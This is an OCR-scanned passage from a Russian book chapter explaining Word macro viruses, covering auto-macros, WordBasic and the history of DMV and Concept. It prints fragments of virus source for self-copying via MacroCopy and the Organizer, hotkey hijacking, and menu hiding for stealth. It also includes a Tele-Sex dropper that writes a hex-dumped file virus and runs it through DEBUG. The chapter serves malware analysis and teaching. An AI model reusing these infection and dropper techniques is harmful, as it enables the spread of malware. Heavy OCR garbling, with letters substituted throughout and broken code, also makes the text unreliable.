ного документа, может бнть определена при разглядивании ООС- 
файла «на просвет»:

1 Версии МЗ \\/огс1 2007 и 2011 тоже могут работать с БОС-файлами и 
внполнять их макросн, но по умолчанию используют «новьш» формат 
БОСХ.
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Таким образом, достаточно рассмотреть две основние разновидно- 
сти макровирусов:

О  вирусм для \Уог(1 6.0/7.0;
О вирусн для \Уогс197.

5.1.1. Обшие сведения о макросах
Язнки \¥огс1Ва51с и УВА позволяют создавать макросн (сценарии), 
которне, по идее, должнн избавлять пользователя от повторения ру- 
тинннх операций при обработке текста. Например, задача поиска и 
подчеркивания всех слов текста, написанннх латинскими буквами, 
может бнть оформлена в виде маленькой программки и ассоцииро- 
вана с какой-нибудь клавиатурной комбинацией (с чем-нибудь вро- 
де А11+5ЬШ;+Езс или С4г1+«0»). Загрузив многомегабайтовнй текст 
в окно М5 \¥огс! и нажав указанную клавиатурную комбинацию, 
пользователь сразу же может отправляться пить чай -  макрокоманда 
сама внполнит необходимне действия.

Также М5 \Уогс1 позволяет ассоциировать макрокоманду не с кла- 
виатурной комбинацией, а с каким-нибудь пунктом меню или кноп- 
кой, размевденной на панели инструментов. Документированной осо- 
бенностью М5 \¥огс1 является возможность создания пользователем 
своих собственннх дополнительннх кнопок и пунктов меню. Но ока- 
знвается, что и многие «стандартнне» пунктн и кнопки также могут 
бнть переопределенн таким образом, что будут вьптолнять какие-ни- 
будь, изначально не предусмотреннне действия.

Кроме того, в М5 \Ўогс1 имеются так назьтваемне «автоматические 
макросм» -  то есть макросн, автоматически внполняюшиеся при 
определенннх условиях. К ним относятся:

О «АиСоОреп», запускаюшийся при открнтии документа;
О «Аи4о№\у», запускаюшийся при создании нового документа;
О «Аи(:оЕхес», запускаюшийся в начале работн М5 \Уог<1;
О «Аи1 оЕхИ> запускаюшийся при завершении работн М5 \Уогс1;
О  «АийэСЬзе», запускаювдийся при закрнтии документа.
По умолчанию эти макросн «пустн» и не содержат никакого про- 

граммного кода. Они как раз и предназначенн для того, чтобн пользо- 
ватель сам переопределил их и сопоставил им какое-нибудь полезное 
действие.
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Все макросм хранятся в шаблонах (кетр1аСе) -  то есть в докумен- 
тах, внутри которих предусмотрено место для программного кода 
сценариев, для сделаннмх пользователем настроек, для стилей и т. п. 
По умолчанию М5 \Уогс1 считает шаблонами файли с расширением 
«.ВОТ», а обнчними документами -  файлн с расширением «.ООС», 
но различает их по внутреннему формату (в частности, шаблонн М5 
Шогй 6.0/7.0 имеют специальньш флажок в заголовке). Кроме макро- 
сов и настроек, шаблон может содержать текст, рисунки, таблицн и 
т. п., таким образом, рядовой пользователь обнчно просто не имеет 
возможности различить две эти разновидности документов «нево- 
оруженньш глазом».

По умолчанию в М5 \¥огс! присутствует по крайней мере один 
«главньш» шаблон -  «МОКМАЬ.ВОТ», и его макросн (если они в 
нем есть) загружаются и становятся готовнми к работе автоматиче- 
ски при старте текстового процессора. Шаблон «КОКМАЬ.ООТ» 
«бессмертен» -  если его файл удалить, то после очередного запуска 
М5 \Уог<1 он будет воссоздан вновь. Кроме того, в М5 \¥огс1 автомати- 
чески загружается содержимое шаблонов, расположенннх в подката- 
логе «5ТАК.ТИР», -  они, как правило, вполне легально появляются 
там вместе с офисннми приложениями типа Ғ1пеКеас1ег (распознава- 
тель отсканированного текста), РКОМТ/51;у1и5 (переводчик текстов 
с одного язьжа на другой) и прочими.

Все основнне операции с макросами (создание, копирование, уда- 
ление и т. п.) пользователь М5 \Уогс1 может осушествить вручную 
при помоши компонента «Организатор» («Ог§ап12е]>), которнй до- 
ступен через подменю «Файл => Шаблонн...», «Сервис =ф Макрос...» 
или «Формат => Стиль...».

Итак, вот способн, позволяюшие загрузить макросн в М5 \¥огс! и 
подготовить их к исполнению:

О разместить их в шаблоне «НОКМАЬ.ООТ»;
О разместить их в одном из шаблонов, расположенннх в каталоге 

«5ТАКТОР»;
О разместить их в документе, которьш открнвается средствами 

М5\¥ог<1.
Для того чтобн загруженннй из шаблона макрос получил управле- 

ние и начал внполняться, достаточно вьшолнить одно из следуюших 
действий:

О запустить макрос (возможно, случайно), нажав асоциирован- 
ную с ним кнопку, пункт меню или клавиатурную комбина- 
цию;
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О запустить макрос преднамеренно, пользуясь возможностями 
«Организатора»;

О присвоить макросу одно из «автоматических» имен (пере- 
чень -  см. внше);

О запустить макрос из другого, вьшолняюадегося в данньт мо- 
мент макроса, пользуясь возможностями язьтка сценариев 
У/огсШазк или УВА.

Макровируш -  это программн, написаннме на язьже сценариев, 
способнме самостоятельно копировать себя из одного документа 
(электронной таблицн, презентации и т. п.) в другой.

5.1.2. Вирусм на язмке УУогсШазвс
Новую макрокоманду на язнке \¥огс1Вазк можно создать так: после 
запуска М8  \¥огс1 6.0/7.0 в меню «Сервис» («ТооЬ») внбрать пункт 
«Макрос...» («Масго»). Появится форма ввода. В поле «Имя» надо 
набрать имя макрокомандн, в поле «Описание» можно поместить 
справочньга комментарий. Затем следует нажать на кнопку «Соз- 
дать», и появится окно редактирования макросов, в котором можно 
набирать исходннй текст на язнке \Уогс1Ва51с. Сохраненньш макрос 
будетзаписан внутрь шаблона «1ЧЮК.МА1..00Т».

Старьш макрос можно просмотреть или отредактировать, если 
в подменю «Макрос...» внбрать из списка имя желаемого макроса и 
нажать на кнопку «Правка». Кстати, в этот момент вас может постичь 
неудача, если макрос зашифрован. Тогда кнопка «Правка» будет 
просто недоступна. Например, изначально зашифрована библиотека 
полезннх макросов «М5\УО!Ш.ВОТ».

В принципе, в заголовке документа М5 \Уогс1 6.0/7.0 есть фла- 
жок, которнй указнвает -  шаблон это или нет. Но разнне версии 
М5 \Уогс1 реагируют на него по-разному: одни не обраодают внима- 
ния на макросн, храняшиеся в «нешаблонах» (версия 6 .0 ); другим 
этот флажок абсолютно «по барабану», они загрузят и внполнят 
макросн в любом случае (версия 7.0). Но если флажок установлен, 
то М5 \Уогс1 не даст редактировать текстовую часть шаблона-до- 
кумента, вернее редактировать даст, а сохранять -  нет. Подобное 
странное поведение редактируемого докулмента должно дать повод 
заподозрить его «шаблоновость» и, следовательно, возможное на- 
личие в нем макросов.

Что же собой представляет язьпс \ \7огс1 Ва51С?
Это диалектязнка Вазк [22], которнй не требует нумерации строк 

и позволяет «склеивать» отдельнне строки, объединяя их при помо-
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1ди двоеточия «:». Возможно и «разрезать» длиннме строки на части, 
используя обратньга слэш «\». Комментарии в этом язьпсе предваря- 
ются либо кчючевмм словом «КЕМ», либо штрихом «’».

Переменнме в язмке \¥огс1Ва51с бмвают двух типов: вешественнме 
и символьнне (которне могут содержать как отдельнме символм, 
так и целме строки). При описании имена символьних переменнмх 
должнн завершаться знаком ‘$’. В \Уогс1Ваз1с можно описьюать не 
только отдельнме переменнме, но и массивм -  для этого использует- 
ся ключевое слово «Б1М».

Над вешественнмми числами в язьже \Уог<1Ва51с разрешенм клас- 
сические арифметические и логические операции: изменение знака, 
сложение (+), внчитание (-), умножение (*), вевдественное деление 
(/), остаток от деления (МОТЗ). Для символьнь1х переменнмх знак ’+’ 
означает конкатенацию строк.

Управляюшие конструкции язнка \\Ъгс1Ва51с очень похожи на ана- 
логи, применяемне в других внсокоуровневнх язнках программиро- 
вания.

Вот как оформляется развилка вьшолнения.
1Т <условие> Тпеп

Е1зе 

Епй 1Т

Если альтернатив много, то можно воспользоваться следуюшей 
конструкцией мн ожестве нно го внбора.
5е1есТ Сазе <управляовдая переменнач>

Сазе <зкамение>

Сазе <значение>

Е1зе

Епа Зе1ес1:

Пример оформления цикла с условием внполнения.
ИП1 1 е <условие>

Мепй

А вот пример цикла со счетчиком.
Ғог <переменная> = <начало> То <конец> 31ер <шаг>

ИехТ



Вируш в М5 У\1о(б ❖ 317

При помовди оператора «СоСо» возможно организовать безуслов- 
ньш переход на указанную метку. Евде одна полезная конструкция 
«ОН» позволяет макросной программе реагировать на внешние собьг- 
тия: на возникновение ошибок в программе; на наступление какого- 
то момента времени и т. п. Примерн:

О «ОК Еггог Со(:о МЕТКА» -  при возникновении ошибки (на- 
пример, при делении на 0 или попьггке открмть несувдествую- 
вдий файл) перейти на указанную метку;

О «ОН Еггог Кезите МехС» -  не реагировать на ошибки и про- 
должать вмполнение;

О «ОН 'П те 17:00 Р1ауУапкееОоос11е» -  в 5 часов вечера запус- 
т и т ь  (из «КЮКМАЬ.ООТ») макрос, играювдий мелодию Янки 
Дудль Денди.

Значительная часть сложннх операций доступна в виде команд и 
функций -  они имеют такой же смнсл, как и в других язьжах програм- 
мирования. Сушествуют стандартнне (предопределеннне) функции, 
в то же время пользователь может создавать свои. Примерн стандарт- 
ннх функций:

О -«Ьеп (<строка>)» -  возвравдает длину строки;
О «СоипЬМасгоз (<шаблон> [, <а11>] [, <§1оЪа1>])» -  возвравда- 

ет количество макросов в указанном шаблоне (0 -  МОКМАЬ. 
ВОТ, 1 -  текувдий документ);

О «МасгоМаше$(<номер>, <шаблон>, [, <а11>] [, <§1оЬа1>])» -  
возвравдает имя макроса, расположенного в указанном шабло- 
не (0 -  КОКМАЬ.ЭОТ, 1 -  текувдий документ) под указанннм 
номером.

Но большинство сложннх операций реализовани в виде жестко 
встроенннх в синтаксис язнка команд. Собственно говоря, наличие 
большого количества команд, ориентированннх на ту или иную про- 
граммно-аппаратную платформу или на конкретную проблемную 
область, -  характерная особенность любого диалекта язнка Ва51С, де- 
лаюшая эти диалектн не только несовместимнми, но и внешне непо- 
хожими друг на друга. Примерм команд язнка ШэгсШазк:

О «1пзегС <строка>» -  вставляет указанную строку в ту точку до- 
кумента, где находится курсор;

О «0 1 заЬ1еАи(;оМасго5 <флаг>» -  разрешает или запрешает вм- 
полнение автоматических макросов в зависимости от значения 
флага ( 0  или 1 );

О «ҒПеЗауеАз .\таше=<имя> [,.Ғогта(:=<формат>]» -  сохраня- 
ет текувдий документ в файл с указанннм именем в указанном
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формате ( 0  -  обмчньш документ, 1 -  шаблон, 2  -  текст, 3 -  
текст с концами строк, 4 -  текст 0 0 5 ,5  -  текст 0 0 5  с концами 
строк, 6 -  документ в формате КТҒ).

Некоторие командм имеют «близнецов» среди стандартних функ- 
ций, например команда «Мз^Вох <строка>» делает то же самое, что и 
функция «Мз§Вох (<строка>)».

Очень важна для понимания устройства вирусов команда Масго- 
Сору. Опишем ее подробно: «МасгоСору <[Шаблон1:] Макро1$>, 
<[Шаблон2:] Макро2$> [,<ПризнакШифрования>]».

Эта команда внполняет копирование макроса <Макро1$> из од- 
ного шаблона в другой, присваивая ему имя <Макро2$>. Именно на 
работе этой командн основано свойство саморазмножения макрови- 
русов в М5 \¥огсЗ 6.0/7.0. Если параметр <ПризнакШифрования> 
присутствует и он ненулевой, то скопированннй макрос не будет пос- 
ле копирования доступен для редактирования.

Самнй первнй в истории макровирус \Уог<1.Масго.ОМУ бьш на- 
писан неким Джоелом МакНамарой в декабре 1994 г. и опубликован 
в виде исходного текста из 72 строк, 40 из которнх представляли со- 
бой комментарии, а еше 7 -  команди Мз^Вох, отображаюшие трассу 
внполнения различннх частей вируса. По словам самого автора: 

...77зе ригрозе о! 1Мз собе /5  1о гечеа! а з/дпМсап! зесигИу пзк 'т 
зойшаге 1Ьа1 зирроПз тасго Iапдиадез аи№-1оасНпд сара- 
ЬИШез. СиггеШ V/гиз де1есНоп 1оо1з аге сиггепИу по1 сараЬ1е о? 
де1есНпд 1Мз (уре о ў  \/1гиз, апд то$1 изегз аге ЬНззЎиНу ипамаге 
1Ьа11Ьгеа1з сап с о те  1гот с1оситеп(з. (...Назначение этого ко- 
да -  вь/явить важную угрозу за1ците программ, поддерживаюших 
макроязики с возможностью автозагрузки. Современнь/е сред- 
ства обнаружения в настояшее время не способнь! детектиро- 
вать этот тип вирусов, а большинство пользователей совершен- 
но не подозревают об угрозах, которь/е могут принести с собой 
документи).

Вот часть исходного текста вируса ХУогё.М асго .О М У  (авторские 
комментарии, строки с Мз§Вох и фрагментн, не важнне для понима- 
ния алгоритма, удаленн).
ВЕМ ]ое1л1@езк1то. сош, ОесешЬег 17, 1994
ЯЕМ ---------------------------------------- ------- ------------------------
ЗуЬ МА1М

1:о1:а1 = Соио1:Масго8(0) 
ргезепг = 0

'Количество макросов в ШМА1.. ВОТ
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1Ғ Иота! > 0 ТГшп 'Если макросм в Н0ВИА1.1)0Т есть, то ...
Ғог сус!е = 1 То Т о Ш  ' . . . в  цикле искать среди них ..
1Т МасгоНаше$(сус1е, 0) = "Аи1оС1о$е" Тпеп ' . . .  макрос с ииенеи Ач1;оС1озе

ргезеШ; = 1 
Епй И’
Епй 1Г
а$ = М1пйоиНа1че$() «■ ":АутоС1озе 
Н  огеэепг <> 1 Тпеп 
МасгоСору а$, "61оЬа1: АиШЛове"

Е1зе

ргезепт = 0
П  Соип1:Иасгоз(1) <> 0 ТИеп

ргезеМ  = 1 
Епй 1Ғ
1Т ргезепг = 0 ТПеп 
ҒИеЗауеАз . Ғог*аг = 1

МасгоСору "С1оЬа1:Аи1оС1озе", а$

Епй 1Т 
Епй 1Т

Епй ЗиО

Необходимо дать некоторне пояснения к этому тексту.
Вирус состоит из единственного макроса «АиТоСМозе», автомати- 

чески стартуюшего в момент сохранения текушего редактируемого 
документа. При помоши стандартной функции «СоипТМасгоз» вирус 
определяет количество макросов в шаблоне «МОКМ АЬ.ООТ» и в 
текушем документе. Если макрос с именем «АиТоС1озе» отсутству- 
ет в текушем документе, то он копируется туда из «МОКМАЬ.ВОТ». 
И наоборот, если макрос отсутствует в «НОКМАЬ.ООТ», то он ко- 
пируется из текушего документа. Полное имя макроса, необходимое 
для обнаружения и копирования, имеет вид «<Шаблон>;Аи1оС1о5е>. 
Шаблон «КОКМАЬ.ООТ» в американской версии М5 \Уогс1 6.0/7.0 
всегда имеет предопределенное имя «СЮВАЪ». Имя текушего доку- 
мента вирус опреде-тяет, «своровав» при помоши стандартной функ- 
ции «\¥т<1о\уКате$» заголовок окна. После окончания заражения 
необходимо все-таки не забьгть сохранить текуший документ, и вирус 
делает это, установив заодно для него флажок «шаблоновости» при 
помоши стандартной командн «ҒИеЗауеАз .Ғогшас=1».

'Сформировать имя работаюшего макроса 
'Если макросов в И0ВМА1.ВОТ нет, т о ... 
', эаразить МОйМА!.. 00Т

'Если макросов в документе нет, т о . .
' . . .сохранить документ как шаблон и . .

' . . . заразить его макросом, езятмм из . 
.МВМАЬООТ
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Интересно, что текст, приведенний вьпие, скорее всего, не будет 
опознан антивирусами как \Уог<1.М асго.ВМ У. Дело в том, что внутри 
документа хранится именно закодированнмй «исходник» -  со всеми 
присувдими ему пустьши строками, «лесенками». комментариями и 
т. п. А в приведенном фрагменте они удаленн. И антивирусн, дей- 
ствуювдие по сигнатурному принципу, не сумеют правильно опознать 
даже совсем чуть-чуть «подпорченньга» вирус. Так что фактически 
приведенннй вьше текст принадлежит совершенно новому вирусу, 
которнй пришлось невольно создать в процессе написания книги... 
впрочем, именно поэтому в нем специально допушена одна мелкая 
ошибка, делаюшая его неработоспособньш. Хотите -  исправляйте, но 
автором вируса в этом случае будете считаться именно вн.

До сих пор вирус \¥ог(1 .М асго .О М У не слишком известен. Он ни- 
когда не бнл в «дикой природе» и не внзнвал эпидемий. Да и как 
может распространяться от компьютера к компьютеру «зараза», в 
процессе работн которой пользователю требуется семь раз прочи- 
тать сообшения типа «Макровирус уже помешен в НОКМАЬ.БОТ» 
и семь раз «кликнуть» мншкой по кнопке «ОК»?

Впрочем, специалистн-то должнн бнли отреагировать на появле- 
ние нового вида вирусной угрозн. Но они этого не сделали, и для них 
стала настояшим шоком глобальная эпидемия макровируса \Уогс1. 
М асго .Сопсер ! (он же Ргапк, он же В1оос1Ьоипс1), разразившаяся ле- 
том 1995 года.

В некоторнх исторических обзорах этот вирус назнвают «первнм 
в истории макровирусом». Конечно же это не так. Но «исторических 
заслуг» у \Уоп1. М асго . Сопсер1 и без того хватает: он внзвал первую 
в мире макровирусную эпидемию, и эта эпидемия бнла самой круп- 
ной. Да и вообвде, историю борьбн с макровирусами стоит начинать 
действительно с него.

Во многом \Уогс1.Масго.Сопсер(; представлял собой развитие 
идей, обнародованннх в Л Уогй.М асго.О М У. Он состоял из макро- 
сов «ААА2А0», «ААА2Ғ5», «Рау1оас1» и четвертого -  «автомати- 
ческого» -  макроса, котормй в документах назнвался «АиСоОреп» 
(и являлся копией «ААА2АО»), а в шаблоне «КОКМАҒ.ВОТ» -  
«ҒИеЗауеАз» (и являлся копией «ААА2Ғ5»),

Таким образом, если вирус стартовал из зараженного файла, то 
сразу же активировался и заражал «МОК.МАҒ.ООТ». Если же он за- 
гружался в виртуальную машину из зараженного ранее глобального 
шаблона «КОКМАЬ.ООТ», то активность проявлял только во время 
сохранения документов, копируя в них свои макросн.
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Документ НОКММ-ООТ

| Дц»оОреп

1 ААА2АО

Рау1дза{1

Рис. 5.1 ❖ Схема соответствия макросов 
в документе и шаблоне вируса Сопсер!

Вот фрагмент макроса «ААА2АО».
1МасгоСоип1 = СоилтМасго^О, 0)
Ғог 1 = 1 То 1Мас гоСоипИ 

1Т ИасгоНапе$(1 , 0, 0) = ■'Рау1_оэсГ Тйеп 
Ь1пз1а11ес1 = -  1 

Епй П
1Т ИасгоНаяе$(1, 0, С) = "ҒИеЗауеАз" тпеп 

ЬТооМио11Т гоио1е = -  1 
Епо 1Т 

МехТ 1
1Т N0* Ь1пз1:аПес) Апй НоТ оТооМисйТгоиЬ1е ТИеп

зМе$ = Ғ11еНагсе$() 
зМасго$ = $Не$ + ":Рэу1оасГ 
КасгоСору зМасго$, ”01оЬа1: Рау1_оас1

Ш  1Т

Неофициально считается, что вирус \Уогс1.Масго.Сопсер(: бмл 
написан и «вьшушен в свет» одним из сотрудников фирмн МхсгозоЛ. 
Около месяца вирус оставался незамеченнмм, перескакивая с компью- 
тера на компьютер, из офиса в офис, потихоньку расползался по пла- 
нете, пока наконец не бмл обнаружен практически повсеместно. Са- 
мнм неприятньш бьшо то, что не сувдествовало бнстрнх и надежнмх 
способов поиска и удаления вируса, ведь М1сгозо£1 считала формат 
ООС-файла своим служебньш секретом. Билл Гейтс и К° до послед- 
него пнтались не вьшосить сор из избн и сохранять честь мундира: 
отказнвались комментировать слухи о возможном авторе вируса, 
всячески принижали актуальность угрозн, не спешили делиться с ви- 
русологами форматами ВОС-файлов и т. п.

Сейчас это внглядит курьезно, но в конце лета 1995 г. М1сгозоЙ; 
разработала и предложила компьютерной обвдественности в качестве 
«панацеи» от макровирусов шаблон «5САК831 .ВОС»-, которнй пред- 
ставлял собой документ в формате М5 \Уогс16.0/7.0, рекламируюший

' Взять имя текувдего документа 
' Сформировать имя макроса 
' И копировэть его в М0ВМА1.Р0Т

' Количество макросов в КОВМА1.О0Т
' Цикл по всем мэкросам 
' Если присутствует 'Рау1оао', т о . . 
' .. Н0ВМА1.00Т уже зарашеи

' Если присутствует •Ғ11е8ауеА8'1 то .. 
' . .  . возможен другой вирус

' Конец цикла
' Если М0ЯМА1.1ЮТ чист. то ...
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сам себя и содержахций антивируснмй макрос «АиСоОреп». Этот 
макрос средствами язшка \¥огс1Ва51с сканировал «МОКМАЬ.ГЗОТ» 
и все загруженнме в М5 \¥огс! документн на наличие в них вирус- 
нмх макросов (распознавая их по именам), а потом удалял «заразу». 
Предположим, вам принеслн дискету с сотней документов. Сколько 
времени займет их сканирование и лечение, вьшолняемне с помошью 
«5САК831.00С» -  то есть фактически вручную? Кроме того, уже 
осенью 1995 г. на свет появился и пополз по миру макровирус \¥ог<1. 
Масго.Г^ис1еаг, написанннй «по мотивам» \Уогс1.Масго.Сопсер1. 
А вскоре последовали вирусн \Уог(1.М асго.ҒогтаЮ , \Уогс1.Масго. 
Но1, \¥огс!.Масго.Со1ог8 и прочие. К концу 1995 г. уже насчитнва- 
лось более полудюжинн макровирусов, внзвавших более или менее 
обширнне эпидемии. Неужели для каждого вируса нужно бнло раз- 
рабатнвать свой «5сапХХХ.ВОС»?

Разумеется, вирусологи разобрались в формате БОС-файла чисто 
хакерскими методами -  при помоши отладчиков и дизассемблеров. 
И антивирусн, напрямую сканируюшие документь! и удаляюшие из 
них саморазмножаюшиеся макросн, появились уже к началу 1996 г. 
Но справедливости ради следует признать, что подобннй подход 
иногда приводил к досадньш проколам. Например, один из «лауреа- 
тов» 1996-1997 годов -  вирус \¥ог(1.М асго.Сар -  получил очень ши- 
рокое распространение во всем мире во многом «благодаря» тому, что 
не все крупнне антивирусн корректно обрабатмвали внутреннюю 
структуру ВОС-файла и поэтому пропускали небольшой процент за- 
раженннх документов.

Всего во второй половине 1990-х годов бьшо написано и внпуше- 
но в «дикую природу» несколько тасяч макровирусов для М5 \Уогс1 
6.0/7.0. Наиболее «популярньши» (если верить }ое \¥е11з) в конце 
XX века бнли во всем мире макровирусм \Уог<1. М асго. Ш агги, \Уог(1. 
М асго .Сар, \Уогс1.Масго.^рас1, \Уог(1.М асго.М О М А и др. Большин- 
ство из них являлись вариациями на тему \Уогс1.М асго.О М У и \¥ог<1. 
М асго.Сопсер1. Ниже мн опишем некоторме отклонения от этого 
«стандарта».

5.1Л.1. Проблема «локализации*
Широкое распространение получили так назьшаемне «локали- 

зованнне» версии М5 \¥ог(1: «русифицированнме», «испанизиро- 
ваннне», «японизированнне» и др. Локализация подразумевает не 
только перевод системннх сообвдений и пунктов меню на соответ- 
ствуюший язнк, но и подчас переименование стандартннх имен,
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ключевмх слов и т. п. В качестве примера приведем ряд таких «сино- 
нимов» (см. табл. 5.1).

Таблица 5.1. Имвна макросов 
в «национальньгх» версиях М З Шогё

Имя м акроса Язь1к Имя м акроса Язь<к
ҒНеМеш Английский ҒПеМио\ю Итальянский
Я1егМу1 Датский ҒюИе г̂оМоуо Португальский
Вез1апс1М1еи\« Голландский АгсҒиуоМиеуо Испанский
Лес1оз1о11и81 Финский АгкшМуН Шведский
ЯсМегМоиуеаи Французский Агдимо№уо Бразильский
Оа1е1Меи Немецкий

Есть евде одно важное различие: предопределенное внутреннее имя 
шаблона «КОКМАЕ.ООТ» для американской версии М5 \¥огс1 есть 
«СЮВАЬ», а для панъевропейских (которме и послужили основой 
для различнмх локализаций, в том числе и для «русификации») -  
«МОКМАЬ». Вот фрагмент вируса \Уог(1.М асго.М ТҒ. которнй до- 
вольно ловко обеспечивал свою работоспособность в различнмх раз- 
новидностях М5 \Уог<1:
МасАпс1Ттр1$ = Мапе$ + ":Ғ11е5а^е"
МасАпйТгпр28 = Иэше$ + АиЮОреп”
'Оп Еггог 5о1о МуТгар '
'МасгоСору МасАпйТ*р1$ "61оЬа1.ҒПе$вуе 
МасгоСору МасАпс)Ттр2$ "С1оЬа1: МгТГ'

'М уТ гар:

МасгоСору МасАпаТ|лр1$ “Иогва1: Ғ1 1е5ауе''
МасгоСору МасАпйТпр2$ "Ногта1:Мт7Т'

5.1« 2Я. Активация без «автоматических макросов»
Чавде всего для этого использовалась «привязка» вирусннх макро- 

сов к какой-нибудь клавиатурной комбинации. «Классическим» стал 
прием, использованньга в вирусе \Уогс!. М асго. Сап§:
Тоо1зСи81ога1геКеуЬоагв 

. КеуСойе = 32, .СаТедогу = 2, . Нате = "бапдзгегг", .М й , .Соптех! = 0 
Тоо1зСизТош1геКеуЬоа гЬ 
. КеуСойе = 69, ,Са1:едогу = 2, .Наше = "Рагай1зе", .Аой, .СогЛехх = 1

Приведеннме командм ставят в соответствие клавише «пробел» 
макрос с именем «Сап^зСегг», а клавише с буквой «Е» -  макрос 
«Рагас118е». Сколько раз пользователь текстового редактора нажмет

Подготовить обработку ошибки 
Кс-пировать магчрось "по-американски"

Копироеать макросм "по-паньевропейски"
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эти клавиши, столько раз управление получат вируснме макросн. 
Примерами вирусов, использ>тоших подобную технику, являются 
\¥ог(1.Масго.5<:ге85, \Уог<1.Масго.Ои(;1аш, \Уогс1.Масго.Сгип1; и т. п.

5.12.3. Копирование макросов без « МасгоСору>
Некоторне вируси для работм с макросами используют методн 

командн «Ог§ап12ег», которне позволяют копировать макросн из 
документа в шаблон и обратно, переименовьшать и удалять их. Вот 
«кусочек» исходного текста вируса Масго.\Уог<1.М5\¥, обходявдего- 
ся без «МасгоСору»:
Те1пр1аТ8Ра1п$ = Ое^аиХТСаг^сг)
«огк01гРат11$ = ОеТаиИОТг^СО)
Ноп«а1Ра1:п$ = Те.ир1атеРать$ + "ХНогяаХ.воТ"
С1;ггептҒИе$ = ҒИеМагаеҒгоп1М1 пс)о«$()

Огдапхгег .Оору, .Зоигсе = СиггептҒ11е$, . 0е8Т1паТ1оп = Могша1Ратй$, \
.Иате = "Ғ11еС1о8е", .ТаЬ = 3

Также весьма оригинальньш внглядит поведение макровирусов 
семейства \Уог<1. Масго.Ипу. Собственно говоря, весь функционал 
этих вирусов заключен в единственной строчке вида «5еп<1Кеуз 
''%хк%о%к{Е5С}п». Эта команда «посьшает» программе М5 \Уогс1 
кодн якобн нажатнх пользователем клавиш: «А11+Х» (внзов под- 
меню «ҒПе»), «К» (вмбор позиции «Тетр1асе»), «А11+0» (нажатие 
кнопки «Ог§атгег»), «А11+К» (нажатие кнопки «Сору») и «Е8С» 
(конец работн). Впрочем, в «русифицированннх» версиях МЗ \Уогс1 
этот код работать не будет, так как в них требуется нажимать совсем 
другие «горячие» клавиши.

5.12.4. Запуск бинарного кода
Макровирусн также бнвают «многоплатформенньши», посколь- 

ку способнн служить переносчиками двоичного кода обьганнх про- 
грамм -  файловнх вирусов, «троянцев», демонстрационннх роликов 
и т. п. Вот фрагмент исходного текста вируса \¥ог(1.Масго.Те1е-5ех, 
иллюстрируюшего эту возможность:
Ореп "СЛйоз^Те^е^опх. 5сг" Ғог ОиТрут Аз #1 
РппТ т ,  ''М ТЕЬЕҒОМ. СОМ" 
РппТ П , "Е 0100 Е9 АҒ 13 9Ғ 40 01 0Ғ 09 0А 07 0А В2 25 Е8 67 С2“ 
РГ1ПТ #1, 'Е  0110 26 Ғ6 20 Ғ7 33 Е6 67 ВА 24 ВВ 67 АЗ 7Е АА 7Е 9Ғ"

РппТ #1, "Е 14С0 43 81 34 47 92 46 46 Е2 Ғ8 31 Ғ6 31 С9 СЗ 00"
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рппг #1, "всх"
РппТ #1, "13СҒ"
Р г Ш Г  # 1 ,  "И"

РПпГ #1, "0"
С1озе
Ореп "С: \йоз\1:е1еТоп1. Ьат" Ғог ОШри* Аз #1 
Рг1п1: "#есПо оТТ"
Р п п г  #1 
РГ1П1: #1 
РПШ: #1 
С1озе # I 
СП31Г "С

"ОеЬид < Те1еТот.зог > пи1" 
"@есИо оТТ"
"те1еТот. сот"

\ооз"
ЗИеИ " 1:е1еТоп1. ЬаТ", 0

Макровирус \Уог(1.Масго.Те1е-8ех создаег на диске файл 
«ТЕЬЕҒОМ.БСК» и записьшает в него текстовий дамп классиче- 
ского многоплатформенного вируса Те1е£опка, заражаюшего СОМ- 
и ЕХЕ-файлм, а также МВК винчестера. Затем макровирус создает 
команднмй файл «ТЕЕЕҒОК1.ВАТ», внполняюший формирование 
двоичного образа файлового вируса и запуск его. В реализации ко- 
варннх планов макровируса \Уог<1.Масго.Те1е-5ех активно участву- 
ет стандартньш отладчик «ОЕВ11С», присутств\тоший по умолча- 
нию и в М 8-005, и в \¥ 1п(1о\\'5. Таким образом, загрузив в МЗ \Уогс1 
документ, содержаший макровирус \Уог(1.Масго.Те1е-5ех, можно 
«заработать» целнй букет ЗППП -  «заболеваний, передаюшихся по- 
ловнм пртем». Разумеется, имеется в виду компьютерннй, а не меди- 
цинский, смнсл этого термина.

5. /.2.5. Обеспечение «невидимости»
Вообше говоря, макровирусная «невидимость» возможна только 

в контексте виртуальной машинн. Вирус может попнтаться «спря- 
таться» от пользователя, используюадего средства встроенного в МЗ 
\¥огс1 «Организатора» примерно так, как это делал \Уогс1.Масго. 
А§еп4:

1Т Мепи1тешТехТ$("&Тоо1з", 0, 13, 0) = "&Иасго.. . “ Тпеп
Тоо1зСизТот1геМепиз ,№те = "ТоохзМасго", .Мепи = "Тоо1з", \

.Яетоуе, .СопТехт = 0
Епсит
1Г МепиХтешТехПС&ТооХз’-, 0, 13, 0) = "ЛСизИопИге. . . "  ТИеп

Тоо1зСи51:ош12еМепи5 . Иагпе = ''ТооХзСизтошхге", .Мепи = "Тоо15” , \
.Веяюуе, . СопТехТ = 0

Епс11Т
1Т Мепи1ТетТехТ$("&ҒИе", 0. 10, 0) = "&Тешр1аТез.. . "  ТЬеп

Тоо1зСизТогп1геМепиз . Малпе = "Ғ11еТетр1аТез", .Мепи = "Ғ11е", \
.йе.тоуе, .Соптехг = 0
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Епо1Г
1Т МепиПетТехт^СҒ&опм*", 0, 14, 0) = "& 8гу1е ...” ТЬеп

Тоо1зСиз1:оп12еМепу2 . Иаше = "Ғогл!аг31у1е", . Мепи = "Ғогиаг", \
.йетоуе, .СотехТ  = 0

Епс1Г

После вьшолнения этих строк из меню программм М8  Шогс1 «про- 
падают» все пунктн, при помоши котормх пользователь мог бн обра- 
титься к «Организатору». Но от внешних антивирусов, открнваюших 
ВОС-файлн и анализируюших их структуру, макровирус спрятаться, 
конечно же, не способен.

5.1.3. Вирусь! на язмке УВА
С появлением продукта М^сгозоЙ ОШсе 97 основньш средством 
для написания макросов (причем не только в среде М5 \¥огс1, но 
и в М5 Ехсе!, М5 Ассезз, М5 Ро^егРотЬ, а еше в М8  У1510, АйоЬе 
Соге1, Аигос1езк АиСоСАБ и т. п.) стал язнк УВА -  У1зиа1 Ваз1с Ьг 
АррПсайоп. И остается им до сих пор.

В М5 \Уогс1 97 (и в более старших версиях -  2000 и ХР) работа 
с макросами организована в обцдах чертах так же, как и в М5 \¥огс1 
6.0/7.0, а именно: доступ к созданию новнх макросов осушествляется 
из меню «Сервис» и пункта «Макрос», где живут подпунктн «Макро- 
см» и «Редактор У1зиа1 Ваз1с». Но отредактировать и даже увидеть уже 
